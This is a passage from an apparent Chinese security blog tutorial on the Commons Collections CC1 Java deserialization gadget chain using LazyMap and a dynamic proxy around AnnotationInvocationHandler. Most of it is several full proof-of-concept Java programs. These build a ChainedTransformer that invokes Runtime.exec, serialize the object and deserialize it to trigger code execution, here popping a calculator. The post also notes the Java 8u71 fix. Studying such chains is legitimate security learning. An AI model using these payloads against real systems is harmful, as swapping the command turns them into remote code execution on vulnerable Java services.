暂时就通过实例来稍微理解一下,看这个entry的值,前面所属就是AbstractInputCheckedMapDecorator$MapEntry(主要就是这里所属为什么是这个还有点不清楚),这样也就能够说明为什么readObject()方法中在调用setValue()方法时会到这个MapEntry类(就算直接在readObject方法打断点所属还是这个),从而导致整条链子的执行。

LazyMap链

实际上,在ysoserial链中,它利用的并不是TransformedMap,而是利用的LazyMap。

分析及构造过程

LazyMap的漏洞触发点是它的get()方法get方法,也就是get方法源码中的factory.transform()。也就是LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用factory.transform方法去获取一个值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            //审代码如果传入的key不存在,就会才会进入这个if条件
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

相较于TransformedMap链的利用方法,LazyMap的利用更复杂一些,由于sun.reflect.annotation.AnnotationInvocationHandler的readObject方法中没有调用到Map的get方法。但是AnnotationInvocationHandler类的invoke方法有调用到get方法,源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member); 

        if (result == null)
            throw new IncompleteAnnotationException(type, member);
        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();
        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);
        return result;
    }

那么如何调用到AnnotationInvocationHandler#invoke呢?这里就可以利用到动态代理。

现在先回到LazyMap的get()方法源码,重点分析一下if语句:

1
2
3
4
5
6
7
public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            //审代码如果传入的key不存在,就会才会进入这个if条件
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        }

来看进入if语句的条件,this.map.containsKey(key)就是看键值表中是否有这个key,在这里需要没有这个key才能进入if条件;那么这个key对应的invoke中的代码就是String member = method.getName(); 学过动态代理的话就知道这里的member对应的就是代理对象调用的方法名,一般在一个java对象中都不会有一个以方法名为键的键值对,所以一般这里的if条件其实是可以忽略的。然后我想了一下,如果我认为设置一个键值对的键就是代理对象要调用的方法名称,那么是否应该不会继续下去。理论上是个人感觉是可以的,后面实践一下。

——

现在继续链子的说明

前面说到了需要用动态代理,所以这里需要用到java.lang.reflect.Proxy以及InvocationHandler接口

在这里AnnotationInvocationHandler实现了InvocationHandler接口并重写了invoke方法,符合基本条件。

看代码所需的对象,这里就看看在哪些地方需要注意: 首先就是AnnotationInvocationHandler#invoke中调用get()的地方,memberValues.get(member);,所以这里的membervalues需要为LazyMap类对象,所以我们可以如下构造:

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstroctor(Class.class,Map.class);
constroctor1.setAccessible(true);
object o = constructor1.newInstance(Retention.class,outerMap);

现在再来看一下outerMap的内容,现在首先就需要看一下LazyMap的构造方法等,稍微看一下源码,可以知晓我们利用到的代码为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }


protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

所以我们可以如下构造:

1
2
3
4
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
                                                             
 Map hashMap = new HashMap();
 Transformer outerMap = LazyMap.decorate(hashMap,chain);

再将前面综合一下,就是如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
        Map hashMap = new HashMap();
        Map outerMap = LazyMap.decorate(hashMap,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        Object o = constructor1.newInstance(Retention.class,outerMap);
               
    }
}

最基本的链子大概如上,现在就是思考如何跳到LazyMap的get方法,结合前面的说法,现在就是要思考如何设置代理对象,结合动态代理的流程,在这里我们将Map接口类作为“中间”类,刚好“委托类”LazyMap是实现了Map接口的,所以是很合适的。

然后理解一下ysoserial链,可以知晓在遍历Map(proxy)时会调用memberValues.entrySet方法,进而可以触发invoke方法。

一步一步来,所以首先我们这里构造handler,

1
InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);

然后调用Proxy的newProxyInstance()方法,用来创建一个代理对象,如下:

1
2
3
//ysoerial链这里其实利用的是Map.class的构造器等,但是其实在最后的利用中差别不大,先跟这个
Class[] interfaces = Map.class.getInterfaces();
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),interfaces,outerMap);

这样就成功创建了一个代理对象,这是再看ysoserial,精妙的地方来了,如下代码:

1
Object o = constructor1.newInstance(Retention.class,proxyMap);

然后再将这个o序列化并反序列化,当反序列化的时候,会对proxyMap调用entryMap()方法,此时就会到AnnotationInvocationHandler的invoke方法,然后一切都会往预期的方向发展。再将前面所有的代码结合起来稍微改改,就是如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
        Map hashMap = new HashMap();
        Map outerMap = LazyMap.decorate(hashMap,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);
        Class[] interfaces = Map.class.getInterfaces();
        Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),interfaces,handler);
        Object o = constructor1.newInstance(Retention.class,proxyMap);
        //序列化
        ObjectOutputStream x = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        x.writeObject(o);
        x.close();
        //反序列化
        ObjectInputStream ctf = new ObjectInputStream(new FileInputStream("ser.ser"));
        ctf.readObject();
        ctf.close();
    }
}

报错

image-20240727002214764

这是因为在设置代理对象时的第二个参数Map.class.getInterfaces()的Map.class并没有实现Map接口,动态代理没掌握好,照猫画虎了属于是,所以这里完全是多此一举了,我们就可以直接使用Map.class即可,而且本身Map就是一个接口类。

所以最终的POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
        Map hashMap = new HashMap();
        Map outerMap = LazyMap.decorate(hashMap,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);

        InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);

        Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
        Object o = constructor1.newInstance(Retention.class,proxyMap);

        //序列化
        ObjectOutputStream x = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        x.writeObject(o);
        x.close();
        //反序列化
        ObjectInputStream ctf = new ObjectInputStream(new FileInputStream("ser.ser"));
        ctf.readObject();
        ctf.close();

    }
}

成功弹出计算机:

image-20240727012113328

——————

思考

OK,现在就是解决前面遗留的问题。

1.设置一个方法名称对应的键的实践,也就是加一个hashMap.put("entrySet","xxxx"); 。最后的测试代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
        Map hashMap = new HashMap();
        hashMap.put("entrySet","xxxx");//here!!!!
        Map outerMap = LazyMap.decorate(hashMap,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);
        Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
        Object o = constructor1.newInstance(Retention.class,proxyMap);
        //序列化
        ObjectOutputStream x = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        x.writeObject(o);
        x.close();
        //反序列化
        ObjectInputStream ctf = new ObjectInputStream(new FileInputStream("ser.ser"));
        ctf.readObject();
        ctf.close();
    }
}

最终并没有弹出计算机,想法正确。

2,.创建代理对象时的方法参数问题,在我们想要利用的LazyMap链中,其实只要到了AnnotationInvocationHandler#invoke中,正确调用了get方法,那么对于后续的如正常代理中的会去到委托类一下都是无意义的,而且这里本身LazyMap就实现了Map接口,所以在创建代理对象的时候,可以像前面的POC那样构造,但其实使用LazyMap也是可以的,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
        Map hashMap = new HashMap();
        Map outerMap = LazyMap.decorate(hashMap,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);
        Class[] interfaces = LazyMap.class.getInterfaces();
        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),interfaces,handler);
        Object o = constructor1.newInstance(Retention.class,proxyMap);
        //序列化
        ObjectOutputStream x = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        x.writeObject(o);
        x.close();
        //反序列化
        ObjectInputStream ctf = new ObjectInputStream(new FileInputStream("ser.ser"));
        ctf.readObject();
        ctf.close();
    }
}

也成功弹出计算机:

image-20240727012024028

CC1的局限

在Java 8u71以后,官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject方法。

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

参考文章: (后面CC链都是跟过的,还有的不止CC链,可以多看看别人的博客,比如第一个人的就是,强推)

https://su18.org/post/ysoserial-su18-2/#%E6%94%BB%E5%87%BB%E6%9E%84%E9%80%A0-2

https://xz.aliyun.com/t/10387?time__1311=Cqjx2Qi%3DomqGqGNDQieiKd7KF8DAhOi3RiD#toc-2

当然nivia的博客: https://nivi4.notion.site/Java-CommonCollections2-bffcf256243d414192c43fdefc916df9

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计